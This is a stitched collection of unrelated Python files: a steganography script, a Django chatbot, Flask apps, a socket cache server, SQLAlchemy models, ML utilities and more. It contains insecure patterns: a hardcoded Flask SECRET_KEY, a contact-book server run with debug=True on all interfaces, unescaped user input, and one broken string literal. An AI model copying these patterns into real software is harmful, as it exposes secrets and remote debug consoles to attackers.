def convertMessage(message):
    message = ''.join(format(ord(x), '08b') for x in message)
    message = format(len(message), '011b') + message
    return message

######################################################
## <Description> Converts string into bit form & appends length to string
## Parameter:
##       message: string variable
## Return: Outputs a image with the message hidden in the Least Significant Bit
######################################################
def encode(file, message):
    message = convertMessage(message)

    k = 0
    image = Image.open(file)
    pixels = image.load()

    #Retrieving every pixel from image
    for i in range(image.size[0]):
        for j in range(image.size[1]):
            r,g,b = pixels[i, j]
            bit = int(message[k])if k < len(message) else 0; k += 1
            pixels[i, j] = ((r & ~1) | bit, g, b) # bit wise operator(checks lsb if even/odd)/converting lsb
    image.save(file[:5] + '_encoded.png')

######################################################
## <Description> The function retrieves the hidden message from the image.
## Parameter:/Users/steve/Desktop/imag_encoded/images/testImage.jpg
##       file: string variable with the file path
## Return: Outputs the hidden message to the console.
######################################################
def decode(file):
    message = ''
    image = Image.open(file[:5] + '_encoded.png')
    pixels = image.load()
    for i in range(image.size[0]):
        for j in range(image.size[1]):
            r,g,b = pixels[i, j]
            bit = r & 1 # bit wise operator
            message += str(bit)
    size = int(message[:11],2)
    message = message[11:] #retreiving length of message
    m = []

    # taking 8 bit at a time and convering the bit to byte to character
    for i in range(int(size / 8)):
        byte = message[i*8:(i+1)*8]
        m.append(chr(int(byte, 2)))
    return ''.join(m)

# functions being called
file = 'images/testImage.jpg'
encode(file, 'THIS IS THE SECRET MESSAGE THAT WILL BE HIDDEN WITHIN THE IMAGE!!!')
print (decode(file))


from django.shortcuts import render, redirect
from django.contrib.sessions.middleware import SessionMiddleware
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth import login
from django.contrib.auth.decorators import login_required

import openai
from dotenv import load_dotenv
import os

# load the environment variables
load_dotenv()

# get the API key from the environment variables
OPENAI_API_KEY = os.getenv('OPENAI_API_KEY')

openai.api_key = OPENAI_API_KEY

def chatbot(prompt):
    response = openai.Completion.create(
        model="text-davinci-003",
        prompt=prompt,
        temperature=0.7,
        max_tokens=256,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0
    )
    return response.choices[0].text.strip()

@login_required
def chatbot_view(request):
    chatbot_response = ""
    chatlogs = request.session.get('chatlogs', [])

    if request.method == 'POST':
        question = request.POST.get('question')
        chatbot_response = chatbot(question)
        chatlogs.append({'user': question, 'chatbot': chatbot_response})
        request.session['chatlogs'] = chatlogs

    return render(request, 'index.html', {'chatlogs': chatlogs})

def clear_chatlog(request):
    if 'chatlogs' in request.session:
        del request.session['chatlogs']
    return redirect('chatbot_view')  # Replace 'chatbot_view' with the name of your chatbot_view URL pattern

def register(request):
    if request.method == 'POST':
        form = UserCreationForm(request.POST)
        if form.is_valid():
            user = form.save()
            login(request, user)
            return redirect('chatbot_view')
    else:
        form = UserCreationForm()
    return render(request, 'register.html', {'form': form})


l1="**************************"
l2="*       My game          *"
l3="*                        *"
l4="*    1 - capitalize      *"
l5="*    2 - upper           *"
l6="*    3 - lowercase       *"
l7="*    4 - find index      *"
l8="*    5 - split           *"
l9="*    6 - translate       *"
l10="*   7 - Exit            *"
l11="**************************"

def menu():
    print(l1)
    print(l2)
    print(l3)
    print(l4)
    print(l5)
    print(l6)
    print(l7)
    print(l8)
    print(l9)
    print(l10)
    print(l11)
    print('please enter your selection 1-7')
    inputNumber = input()
    x=int(inputNumber)
    return x

x=1 #global variable

def pause():
    print('do you want to try again?')
    answer1=input()
    answer1=answer1.upper()
    if 'Y' in answer1:
        return True
    else:
        return False

def option1(): #let the user stay in the level until they want to move
    confirm=True
    while confirm==True:
        print('enter a lowercase phrase')
        phrase=str(input())
        capphrase=phrase.capitalize()
        print(capphrase)
        confirm=pause()

def option2():
    confirm=True
    while confirm==True:
        print('enter a lowercase phrase')
        phrase=str(input())
        upphrase=phrase.upper()
        print(upphrase)
        confirm=pause()

def option3():
    confirm=True
    while confirm==True:
        print('enter an uppercase phrase')
        phrase=str(input())
        lowphrase=phrase.lower()
        print(lowphrase)
        confirm=pause()

def option4():
    confirm=True
    while confirm==True:
        print('enter a phrase containing the word "cat"')
        phrase=str(input())
        indphrase=phrase.index('cat')
        print(indphrase)
        confirm=pause()

def option5():
    confirm=True
    while confirm==True:
        print('enter a phrase with 2 or more words')
        phrase=str(input())
        splitphrase=phrase.split()
        print(splitphrase)
        confirm=pause()

def option6():
    confirm=True
    while confirm==True:
        print('enter a phrase')
        phrase=input()
        x='abcdefghijklmnopqrstuvwxyz'
        y='zyxwvutsrqponmlkjihgfedcba'
        mytable=phrase.maketrans(x,y)
        print(phrase.translate(mytable))
        confirm=pause()

while (x !=7): #loop is conditioned to an event\
    x=menu()         #this is a funciton call
    if (x==1):          #if statement are selection or branching(else)
        option1()

    if (x==2):
        option2()

    if (x==3):
        option3()

    if (x==4):
        option4()

    if (x==5):
        option5()

    if (x==6):
        option6()

print("Goodbye! Thank you for playing!")


#Write a program for personal contact book using Flask micro web framework.
#Menu based interface for creating, updating, searching and removing records.
#The information needs to be stored in a comma separated text file in the location where the server application is.
#Following fields need to be used:
#Name, Address, Birthday, Phone number, Email, Profession, Interests

#Flask url Routes
#0. /
#1. creating of a record
#2. updateing of a record
#3. searching
#4. removing of a record

from flask import Flask, url_for, request, render_template

contactbook=Flask(__name__)

@contactbook.route('/')
def index():
    return render_template('mainmenu.html')

@contactbook.route('/create', methods=['GET', 'POST'])
def create():
    if request.method == 'GET':
        return render_template('creating.html')
    elif request.method == 'POST':
        Names = request.form['names']
        Address = request.form['address']
        Birth_day = request.form['bday']
        Phone_Number = request.form['phone']
        Email_address = request.form['email']
        Profession = request.form['prof']
        Interests = request.form['interests']
        with open('contactdp.csv','a+', encoding = 'utf-8') as contactbookdb:
            contactbookdb.write("{},{},{},{},{},{},{}\n".format(Names,Address,Birth_day,Phone_Number,Email_address,Profession,Interests))
        return """The Contact for %s has been added successfully!

 To add new concact  click here

 To go to the main menu  click here """ % Names
    else:
        return "NOK"

@contactbook.route('/update')
def update():
    return "Updaiting"

@contactbook.route('/search')
def search():
    return """Searching"""

@contactbook.route('/delete', methods=['GET', 'POST'])
def delete():
    if request.method == 'POST':
        Name_to_delete = request.form['del_name']
        contactbookmem=[]
        deletion_flag=False
        with open('contactdp.csv','r', encoding = 'utf-8') as contactbookdb:
            contactbookmem_str=contactbookdb.read()
            contactbookmem=contactbookmem_str.split('\n')
            i=0
            for line in contactbookmem:
                try:
                    Name,Address,Birthday,Phonenumber,Email,Profession,Interests = line.split(',')
                except:
                    Name=line
                if not Name:
                    continue
                print(Name)
                if Name_to_delete.upper()==Name.upper():
                   del contactbookmem[i]
                   deletion_flag=True
                i+=1
        with open('contactdp.csv','w', encoding = 'utf-8') as contactbookdb:
            for line in contactbookmem:
                line_string=''.join(line)
                contactbookdb.write("{}\n".format(line_string))
        if deletion_flag:
            return "{} was deleted successfully !
  Back to main menu
".format(Name_to_delete )
        else:
            return """
{} was not found in the contact book !

  Back to main menu  """.format(Name_to_delete)
    else:
        return render_template('deleting.html')

if __name__ == '__main__':
    contactbook.run(host='0.0.0.0', debug=True)


class Solution:
    def executeInstructions(self, n: int, startPos: List[int], s: str) -> List[int]:
        m: int = len(s)
        ans: List[int] = [0] * m

        for i in range(m):
            j: int = i
            inst: int = 0
            nextX: int = startPos[1]
            nextY: int = startPos[0]
            while j < m:
                if s[j] == 'R': nextX += 1
                elif s[j] == 'L': nextX -= 1
                elif s[j] == 'D': nextY += 1
                else: nextY -= 1
                if nextX >= 0 and nextX < n and nextY >= 0 and nextY < n: inst += 1
                else: break
                j += 1
            ans[i] = inst
        return ans


#!/usr/bin/env python

from pymongo import MongoClient
import socket
import logging
import redis
import json

# add filemode="w" to overwrite
#logging.basicConfig(filename="/var/log/server.log", level=logging.INFO)

client = MongoClient(host='mongodb', port=27017)
db=client.mydb
coll = db.mycoll

sock = socket.socket()
sock.bind(('', 9091))
sock.listen(1)
conn, addr = sock.accept()

print ('connected:', addr)
cache = redis.Redis(host='rediska', port=6379)
cache.ping()

while True:
    data = conn.recv(1024)

    if not data:
        break
    response = { }
    obj_data = {'action': 1 }
    try:
        obj_data = json.loads(data)
    except ValueError as e:
        response["Status"] = "Bad Request"

    if obj_data["action"] == "get":
        answ = cache.get(obj_data["key"])

        if answ == None or obj_data["no-chache"]:

            db_doc = coll.find_one({"key": obj_data["key"]})
            if db_doc == None:
               response["Status"] = "Not found"
            else:
               response["message"] = db_doc["msg"]
               response["Status"] = "OK"
               cache.set(obj_data["key"], response["message"]) #update chache
        else:

            if type(answ) is bytes:
                response["message"] = answ.decode('utf-8')
            else:
                response["message"] = answ
            response["Status"] = "OK"
            print ('get:', response["message"])

    if obj_data["action"] == "put":
        if cache.exists(obj_data["key"]) :
            response["Status"] = "Created"
        else:
            response["Status"] = "OK"
        coll.insert_one({"key":obj_data["key"], "msg":obj_data["message"]})
        #cache.set(obj_data["key"], obj_data["message"])
    if obj_data["action"] == "delete":
        db_doc = coll.find_one({"key": obj_data["key"]})
        if db_doc != None :
            coll.remove(db_doc)
            cache.delete(obj_data["key"] )
            response["Status"] = "OK"
        else:
            response["Status"] = "Not found"

    json_string = json.dumps(response)
    conn.send(json_string.encode('utf-8'))

    #logging.info(data)
conn.close()


from flask import Flask, render_template
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, current_user

db = SQLAlchemy()
DB_NAME = 'database.db'

def create_app():
    app = Flask(__name__)
    app.config['SECRET_KEY'] = 'Xo6h3HsJqPx40vkoBThH22hxy3u3jFDtm4UUHI39'
    app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}'
    db.init_app(app)

    @app.before_request
    def before_request():
        db.engine.raw_connection().execute('PRAGMA foreign_keys=ON;')

    from .views import views
    from .auth import auth
    from .topic import topic
    from .thread import thread
    from .post import post

    app.register_blueprint(views, url_prefix='/')
    app.register_blueprint(auth, url_prefix='/')
    app.register_blueprint(topic, url_prefix='/api/')
    app.register_blueprint(thread, url_prefix='/api/')
    app.register_blueprint(post, url_prefix='/api/')

    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('404.html', user=current_user), 404

    from .models import User

    with app.app_context():
        db.create_all()

    login_manager = LoginManager()
    login_manager.login_view = 'auth.login'
    login_manager.init_app(app)

    @login_manager.user_loader
    def load_user(id):
        return User.query.get(int(id))

    return app


# -*- coding: utf-8 -*-

from __future__ import unicode_literals

from transflow.core.engines import db

from . import generators
from .properties import extend_properties

__all__ = ['TaskModel', 'CrossModel', 'DocumentModel',
           'CrossDocumentModel', 'TaskOutCrossModel',
           'CrossInTaskModel']

@extend_properties
class TaskModel(db.Model):
    __tablename__ = 'task'

    id = db.Column(
        'id',
        db.String(40), nullable=False,
        primary_key=True, default=generators.task)
    user_id = db.Column(
        'user_id',
        db.String(40), nullable=False)
    project_id = db.Column(
        'project_id',
        db.String(40), nullable=False)
    name = db.Column(
        'name',
        db.Unicode(256), nullable=False)
    description = db.Column(
        'description',
        db.Unicode(256), nullable=True,
        server_default='')
    is_ready = db.Column(
        'is_ready',
        db.Boolean(), nullable=False,
        default=False,
        server_default='false')
    is_finished = db.Column(
        'is_finished',
        db.Boolean(), nullable=False,
        default=False,
        server_default='false')
    progress = db.Column(
        'progress',
        db.Integer(), nullable=False,
        server_default='0')
    date_start = db.Column(
        'date_start',
        db.DateTime(timezone=True),
        nullable=False,
        server_default=db.func.current_timestamp())
    date_end = db.Column(
        'date_end',
        db.DateTime(timezone=True),
        nullable=False,
        server_default=db.func.current_timestamp())
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        nullable=False,
        server_default=db.func.current_timestamp())

    @classmethod
    def __declare_last__(cls):
        cls.down_crosses = db.relationship(
            'CrossModel',
            secondary=TaskOutCrossModel.__table__,
            backref=db.backref(
                'up_tasks',
                innerjoin=True,
                order_by=TaskOutCrossModel.date_created,
                lazy='subquery'),
            primaryjoin=TaskModel.id == TaskOutCrossModel.task_id,
            secondaryjoin=TaskOutCrossModel.cross_id == CrossModel.id,
            order_by=TaskOutCrossModel.date_created,
            foreign_keys=[TaskOutCrossModel.task_id,
                          TaskOutCrossModel.cross_id],
            passive_deletes='all', lazy='subquery')

class CrossModel(db.Model):
    __tablename__ = 'cross'

    id = db.Column(
        'id',
        db.String(40), nullable=False,
        primary_key=True, default=generators.cross)
    project_id = db.Column(
        'project_id',
        db.String(40), nullable=False,
        index=True)
    is_start = db.Column(
        'is_start',
        db.Boolean(), nullable=False,
        server_default='false')
    is_end = db.Column(
        'is_end',
        db.Boolean(), nullable=False,
        server_default='false')
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        server_default=db.func.current_timestamp())

    @classmethod
    def __declare_last__(cls):
        cls.documents = db.relationship(
            'DocumentModel',
            secondary=CrossDocumentModel.__table__,
            backref=db.backref(
                'crosses',
                innerjoin=True,
                order_by=CrossDocumentModel.date_created.desc(),
                lazy='dynamic'),
            primaryjoin=CrossModel.id == CrossDocumentModel.cross_id,
            secondaryjoin=CrossDocumentModel.document_id == DocumentModel.id,
            order_by=CrossDocumentModel.date_created.desc(),
            foreign_keys=[CrossDocumentModel.cross_id,
                          CrossDocumentModel.document_id],
            passive_deletes='all', lazy='dynamic')

        cls.down_tasks = db.relationship(
            'TaskModel',
            secondary=CrossInTaskModel.__table__,
            backref=db.backref(
                'up_cross',
                innerjoin=True,
                uselist=False),
            primaryjoin=CrossModel.id == CrossInTaskModel.cross_id,
            secondaryjoin=CrossInTaskModel.task_id == TaskModel.id,
            order_by=CrossInTaskModel.date_created,
            foreign_keys=[CrossInTaskModel.cross_id,
                          CrossInTaskModel.task_id],
            passive_deletes='all', lazy='subquery')

class CrossDocumentModel(db.Model):
    __tablename__ = 'cross_document'

    cross_id = db.Column(
        'cross_id',
        db.String(40), nullable=False,
        primary_key=True)
    document_id = db.Column(
        'document_id',
        db.String(40), nullable=False,
        primary_key=True)
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        server_default=db.func.current_timestamp())

class DocumentModel(db.Model):
    __tablename__ = 'document'

    id = db.Column(
        'id',
        db.String(40), nullable=False,
        primary_key=True, default=generators.document)
    project_id = db.Column(
        'project_id',
        db.String(40), nullable=False,
        index=True)
    name = db.Column(
        'name',
        db.Unicode(256), nullable=False)
    url = db.Column(
        'url',
        db.Unicode(1024), nullable=False)
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        server_default=db.func.current_timestamp())

class TaskOutCrossModel(db.Model):
    __tablename__ = 'task_out_cross'

    task_id = db.Column(
        'task_id',
        db.String(40), nullable=False,
        primary_key=True)
    cross_id = db.Column(
        'cross_id',
        db.String(40), nullable=False,
        primary_key=True)
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        server_default=db.func.current_timestamp())

class CrossInTaskModel(db.Model):
    __tablename__ = 'cross_in_task'

    cross_id = db.Column(
        'cross_id',
        db.String(40), nullable=False,
        primary_key=True)
    task_id = db.Column(
        'task_id',
        db.String(40), nullable=False,
        primary_key=True)
    date_created = db.Column(
        'date_created',
        db.DateTime(timezone=True),
        server_default=db.func.current_timestamp())


#!/usr/bin/python

# import guacamole libraries
import avango
import avango.gua
import avango.script

class Glumb(avango.script.Script):
    ''' Monkey styled environment prop. '''

    def __init__(self):
        self.super(Glumb).__init__()

        # stores root node
        self.node = None

        # list of geometry nodes
        self._mouth_transform = None
        self._mouth_outside = None
        self._mouth_teeth = None
        self._mouth_black = None

        self._left_eye_transform = None
        self._left_eye_outside = None
        self._left_eye_iris = None
        self._left_eye_pupil = None

        self._right_eye_transform = None
        self._right_eye_outside = None
        self._right_eye_iris = None
        self._right_eye_pupil = None

    def my_constructor(self, PARENT_NODE):
        _loader = avango.gua.nodes.TriMeshLoader() # get trimesh loader to load external meshes

        _skin_tone = avango.gua.Vec4(198.0/256.0, 134/256.0, 66/256.0, 1.0)
        _teeth_tone = avango.gua.Vec4(255.0/256.0, 255.0/256.0, 240.0/256.0, 1.0)

        self.node = avango.gua.nodes.TransformNode(Name = "glumb_base")
        PARENT_NODE.Children.value.append(self.node)

        # init mouth transform
        self._mouth_transform = avango.gua.nodes.TransformNode(Name = "glumb_mouth")
        self.node.Children.value.append(self._mouth_transform)

        # init mouth outside geometry
        self._mouth_outside = _loader.create_geometry_from_file(
            "mouth_outside_geometry",
            "data/objects/glumb/glumb1.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._mouth_outside.Material.value.set_uniform(
            "Color",
            _skin_tone
        )
        self._mouth_transform.Children.value.append(self._mouth_outside)

        # init mouth teeth geometry
        self._mouth_teeth = _loader.create_geometry_from_file(
            "mouth_teeth_geometry",
            "data/objects/glumb/glumb2.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._mouth_teeth.Material.value.set_uniform(
            "Color",
            _teeth_tone
        )
        self._mouth_transform.Children.value.append(self._mouth_teeth)

        # init mouth black geometry
        self._mouth_black = _loader.create_geometry_from_file(
            "mouth_black_geometry",
            "data/objects/glumb/glumb3.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._mouth_black.Material.value.set_uniform(
            "Color",
            avango.gua.Vec4(255/256.0, 186.0/256.0, 210.0/256.0, 1.0)
        )
        self._mouth_transform.Children.value.append(self._mouth_black)

        # init left eye
        self._left_eye_transform = avango.gua.nodes.TransformNode(Name = "glumb_left_eye")
        self._left_eye_transform.Transform.value = avango.gua.make_trans_mat(-1.0, 1.75, 0.0)
        self.node.Children.value.append(self._left_eye_transform)

        # outside
        self._left_eye_outside = _loader.create_geometry_from_file(
            "left_eye_outside_geometry",
            "data/objects/glumb/glumb_eye1.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._left_eye_outside.Material.value.set_uniform(
            "Color",
            _skin_tone
        )
        self._left_eye_transform.Children.value.append(self._left_eye_outside)

        # iris
        self._left_eye_iris = _loader.create_geometry_from_file(
            "left_eye_iris_geometry",
            "data/objects/glumb/glumb_eye2.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._left_eye_iris.Material.value.set_uniform(
            "Color",
            avango.gua.Vec4(1.0, 1.0, 1.0, 1.0)
        )
        self._left_eye_transform.Children.value.append(self._left_eye_iris)

        # pupil
        self._left_eye_pupil = None
        self._left_eye_pupil = _loader.create_geometry_from_file(
            "left_eye_pupil_geometry",
            "data/objects/glumb/glumb_eye3.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._left_eye_pupil.Material.value.set_uniform(
            "Color",
            avango.gua.Vec4(0.0, 0.0, 0.0, 1.0)
        )
        self._left_eye_transform.Children.value.append(self._left_eye_pupil)

        # init right eye
        self._right_eye_transform = avango.gua.nodes.TransformNode(Name = "glumb_right_eye")
        self._right_eye_transform.Transform.value = avango.gua.make_trans_mat(1.0, 1.75, 0.0)
        self.node.Children.value.append(self._right_eye_transform)

        # outside
        self._right_eye_outside = _loader.create_geometry_from_file(
            "right_eye_outside_geometry",
            "data/objects/glumb/glumb_eye1.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._right_eye_outside.Material.value.set_uniform(
            "Color",
            _skin_tone
        )
        self._right_eye_transform.Children.value.append(self._right_eye_outside)

        # iris
        self._right_eye_iris = _loader.create_geometry_from_file(
            "right_eye_iris_geometry",
            "data/objects/glumb/glumb_eye2.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._right_eye_iris.Material.value.set_uniform(
            "Color",
            avango.gua.Vec4(1.0, 1.0, 1.0, 1.0)
        )
        self._right_eye_transform.Children.value.append(self._right_eye_iris)

        # pupil
        self._right_eye_pupil = None
        self._right_eye_pupil = _loader.create_geometry_from_file(
            "right_eye_pupil_geometry",
            "data/objects/glumb/glumb_eye3.obj",
            avango.gua.LoaderFlags.DEFAULTS
        )
        self._right_eye_pupil.Material.value.set_uniform(
            "Color",
            avango.gua.Vec4(0.0, 0.0, 0.0, 1.0)
        )
        self._right_eye_transform.Children.value.append(self._right_eye_pupil)


import numpy as np
import torch
from torchvision import transforms
import torch.nn as nn
import torch.nn.functional as F
import math

from CALAE.utils.color import preprocess_lab, lab_to_rgb, deprocess_lab, rgb_to_lab

def abs(x):
    return torch.sqrt(x[:,:,:,:,0]**2+x[:,:,:,:,1]**2+1e-12)

def real(x):
    return x[:,:,:,:,0]

def imag(x):
    return x[:,:,:,:,1]

def roll_n(X, axis, n):
    f_idx = tuple(slice(None, None, None) if i != axis else slice(0, n, None) for i in range(X.dim()))
    b_idx = tuple(slice(None, None, None) if i != axis else slice(n, None, None) for i in range(X.dim()))
    front = X[f_idx]
    back = X[b_idx]
    return torch.cat([back, front], axis)

def batch_fftshift2d(x):
    real, imag = torch.unbind(x, -1)
    for dim in range(1, len(real.size())):
        n_shift = real.size(dim)//2
        if real.size(dim) % 2 != 0:
            n_shift += 1  # for odd-sized images
        real = roll_n(real, axis=dim, n=n_shift)
        imag = roll_n(imag, axis=dim, n=n_shift)
    return torch.stack((real, imag), -1)  # last dim=2 (real&imag)

def batch_ifftshift2d(x):
    real, imag = torch.unbind(x, -1)
    for dim in range(len(real.size()) - 1, 0, -1):
        real = roll_n(real, axis=dim, n=real.size(dim)//2)
        imag = roll_n(imag, axis=dim, n=imag.size(dim)//2)
    return torch.stack((real, imag), -1)  # last dim=2 (real&imag)

def spatial_normalize(x):
    min_v = torch.min(x.view(x.shape[0],1,-1),dim=2)[0]
    range_v = torch.max(x.view(x.shape[0],1,-1),dim=2)[0] - min_v
    return (x - min_v.unsqueeze(2).unsqueeze(3)) / (range_v.unsqueeze(2).unsqueeze(3)+1e-12)

def fspecial_gauss(size, sigma, channels):
    # Function to mimic the 'fspecial' gaussian MATLAB function
    x, y = np.mgrid[-size//2 + 1:size//2 + 1, -size//2 + 1:size//2 + 1]
    g = np.exp(-((x**2 + y**2)/(2.0*sigma**2)))
    g = torch.from_numpy(g/g.sum()).float().unsqueeze(0).unsqueeze(0)
    return g.repeat(channels,1,1,1)

def downsample(img1, img2, maxSize = 256):
    _,channels,H,W = img1.shape
    f = int(max(1,np.round(min(H,W)/maxSize)))
    if f>1:
        aveKernel = (torch.ones(channels,1,f,f)/f**2).to(img1.device)
        img1 = F.conv2d(img1, aveKernel, stride=f, padding = 0, groups = channels)
        img2 = F.conv2d(img2, aveKernel, stride=f, padding = 0, groups = channels)
    return img1, img2

def extract_patches_2d(img, patch_shape=[64, 64], step=[27,27], batch_first=True, keep_last_patch=False):
    patch_H, patch_W = patch_shape[0], patch_shape[1]
    if(img.size(2)<patch_H):
        num_padded_H_Top = (patch_H - img.size(2))//2
        num_padded_H_Bottom = patch_H - img.size(2) - num_padded_H_Top
        padding_H = nn.ConstantPad2d((0,0,num_padded_H_Top,num_padded_H_Bottom),0)
        img = padding_H(img)
    if(img.size(3)<patch_W):
        num_padded_W_Left = (patch_W - img.size(3))//2
        num_padded_W_Right = patch_W - img.size(3) - num_padded_W_Left
        padding_W = nn.ConstantPad2d((num_padded_W_Left,num_padded_W_Right,0,0),0)
        img = padding_W(img)
    step_int = [0,0]
    step_int[0] = int(patch_H*step[0]) if(isinstance(step[0], float)) else step[0]
    step_int[1] = int(patch_W*step[1]) if(isinstance(step[1], float)) else step[1]
    patches_fold_H = img.unfold(2, patch_H, step_int[0])
    if((img.size(2) - patch_H) % step_int[0] != 0) and keep_last_patch:
        patches_fold_H = torch.cat((patches_fold_H,img[:,:,-patch_H:,].permute(0,1,3,2).unsqueeze(2)),dim=2)
    patches_fold_HW = patches_fold_H.unfold(3, patch_W, step_int[1])
    if((img.size(3) - patch_W) % step_int[1] != 0) and keep_last_patch:
        patches_fold_HW = torch.cat((patches_fold_HW,patches_fold_H[:,:,:,-patch_W:,:].permute(0,1,2,4,3).unsqueeze(3)),dim=3)
    patches = patches_fold_HW.permute(2,3,0,1,4,5)
    patches = patches.reshape(-1,img.size(0),img.size(1),patch_H,patch_W)
    if(batch_first):
        patches = patches.permute(1,0,2,3,4)
    return patches.reshape(-1,3,patch_H,patch_W)

def prepare_image(image, resize = False, repeatNum = 1):
    if resize and min(image.size)>256:
        image = transforms.functional.resize(image,256)
    image = transforms.ToTensor()(image)
    return image.unsqueeze(0).repeat(repeatNum,1,1,1)

def print_network(net):
    num_params = 0
    for param in net.parameters():
        num_params += param.numel()
    print(net)
    print('Total number of parameters: %d' % num_params)


import os
import csv
import sys
import platform
import itertools
import subprocess as sp
import multiprocessing as mp
from statistics import mean

if __name__ == "__main__":
    cpu_count = mp.cpu_count()
    pc_name = platform.node()

    print("Cores:", cpu_count)
    print("PC:", pc_name)

    grid_sizes = [(1024, 1024), (2048, 2048), (4096, 4096)]
    # get possible x/y process combinations
    x_processes = [x+1 for x in range(cpu_count)]
    y_processes = x_processes
    processes = [x for x in itertools.product(x_processes, y_processes) if x[0]*x[1] <= cpu_count and x[0]*x[1] != 3]
    processes.sort(key=lambda t: t[0]*t[1])

    # get arguments
    time_steps = int(sys.argv[1]) if len(sys.argv) > 1 and sys.argv[1].isdigit() else 100
    iterations = int(sys.argv[2]) if len(sys.argv) > 2 and sys.argv[1].isdigit() else 5

    # list of tuples (PC, #Cores, grid-X, grid-Y, #processes, #processes-X, #processes-Y, process-Width, process-Height, times)
    # times = list of elapsed seconds
    header_row = ("PC", "#Cores", "grid-X", "grid-Y", "#processes", "#processes-X", "#processes-Y", "process-Width", "process-Height", "times", "AVG(time)", "memory", "AVG(memory)")
    result_list = []

    for total_width, total_height in grid_sizes:
        print("Grid Size:", total_width, "x", total_height)

        for process_count_x, process_count_y in processes:
            print("processes:", process_count_x * process_count_y, "X:", process_count_x, "Y:", process_count_y)
            process_width = total_width // process_count_x
            process_height = total_height // process_count_y

            times = []
            mem = []
            for i in range(iterations):
                result = sp.run(["/usr/bin/time", "--format=SEC:%e,MEM:%M", "mpirun", "-n", str(process_count_x * process_count_y), "../gameoflife", str(time_steps), str(process_width), str(process_height), str(process_count_x), str(process_count_y)], stderr=sp.PIPE)
                time_output = result.stderr.decode("utf-8").split(",")
                elapsed_s = float(time_output[0][4:])
                memory_kb = int(time_output[1][4:])
                print("ITERATION", i, "Elapsed time:", elapsed_s)
                times.append(elapsed_s)
                mem.append(memory_kb)
            result_tuple = (pc_name, cpu_count, total_width, total_height, process_count_x * process_count_y, process_count_x, process_count_y, process_width, process_height, times, mean(times), mem, mean(mem))
            result_list.append(result_tuple)

with open("results_"+pc_name+".csv", "w") as out:
    writer = csv.writer(out)
    writer.writerow(header_row)
    for row in result_list:
        writer.writerow(row)


#!/usr/bin/env python
# coding: utf-8

# In[1]:

'''
Author: Sameer
Date: 09/11/2018
Read Me:
1 - This code is for building a Gaussian Kernel (RBF) Support Vector Machine (SVM) and the optimization
problem (Quadratic Programming) is solved using python cvxopt optimization toolbox.
Polynomial Kernel SVM can also be build using this code.
2 - Input Samples variable indicates total no. of points present in both Positive and Negative Classes
Gaussian Standard Deviation is a free variable used in the Gaussian Kernel
Order is a free variable used to control the order of the polynomial used in Polynomial Kernel
Grid Size is controls the number of points to be searched on 1x1 grid to generate decision boundaries
3 - Quadratic Optimization Problem:
        QP: Minimize- 1/2 * X.T * P * X + q.T * X
        ST: G * X <= h and A * X = b
    Matrices were selected based on above descritpion. But for the detailed description go through following link:
    http://cs229.stanford.edu/notes/cs229-notes3.pdf
4 - Solution for the QP problem will not be accurate i.e. lagrange mulitpliers will not be absolute zero, so I have
made values below 1.0e-04 to be zero. For Non Support Vectors lagrange mulitpliers are zero and for Support Vector they are
greater than zero.
5 - Postive Class is also represented by C_1 and Negative Class is also represented C_-1
'''

# In[2]:

# Import Required Libraries
import numpy
import matplotlib.pyplot as plt
import cvxopt

# In[3]:

# Parameters
Input_Samples = 100
Gaussian_Std_Deviation = 0.5
Order = 5
grid_size = 500

# In[4]:

# Check if data exists. If yes load it otherwise create new data and store it in text file
if numpy.DataSource().exists('InputPattern.txt'):
    X = numpy.loadtxt('InputPattern.txt')
else:
    X = numpy.random.uniform(0, 1, (Input_Samples, 2))
    numpy.savetxt('InputPattern.txt', X)

# In[5]:

# Create Desired Classification based on some conditions
# Which will give a circle and sine wave boundary and points lying inside them will be positive class, egative otherwise
D = numpy.array([])
Pos_Class = numpy.array([[0, 0]])
Neg_Class = numpy.array([[0, 0]])
for i in range(0, Input_Samples):
    if X[i, 1] < 0.2 * numpy.sin(10 * X[i, 0]) + 0.3 or numpy.square(X[i, 0] - 0.5) + numpy.square(X[i, 1] - 0.8) < numpy.square(0.15):
        D = numpy.concatenate((D, [1]), axis=0)
        Pos_Class = numpy.concatenate((Pos_Class, [X[i]]), axis=0)
    else:
        D = numpy.concatenate((D, [-1]), axis=0)
        Neg_Class = numpy.concatenate((Neg_Class, [X[i]]), axis=0)

# In[6]:

# Plot Results
plt.plot(Pos_Class[1:, 0], Pos_Class[1:, 1], 'b.', label=r'Class $C_1$')
plt.plot(Neg_Class[1:, 0], Neg_Class[1:, 1], 'r.', label=r'Class $C_{-1}$')
plt.show()

# In[7]:

# Required Functions
def Gaussian_Kernel(X1, X2, sigma):
    return numpy.exp(-numpy.square(numpy.linalg.norm(X1 - X2))/(2 * numpy.square(sigma)))
def Polynomial_Kernel(X1, X2, order):
    return (1 + numpy.dot(X1, X2))**order

# In[8]:

# Optimization Problem - Quadratic Programming
P = numpy.empty([Input_Samples, Input_Samples])
for i in range(0, Input_Samples):
    for j in range(0, Input_Samples):
        P[i, j] = D[i] * D[j] * Gaussian_Kernel(X[i], X[j], Gaussian_Std_Deviation)
#         P[i, j] = D[i] * D[j] * Polynomial_Kernel(X[i], X[j], Order)
# Refer Documentation for Cvxopt Quadratic Programming for the meaning of the matrices
P = cvxopt.matrix(P)
q = cvxopt.matrix(numpy.ones((Input_Samples), dtype='double') * -1)
G = cvxopt.matrix(numpy.diag(numpy.ones((Input_Samples), dtype='double') * -1))
h = cvxopt.matrix(numpy.zeros(Input_Samples))
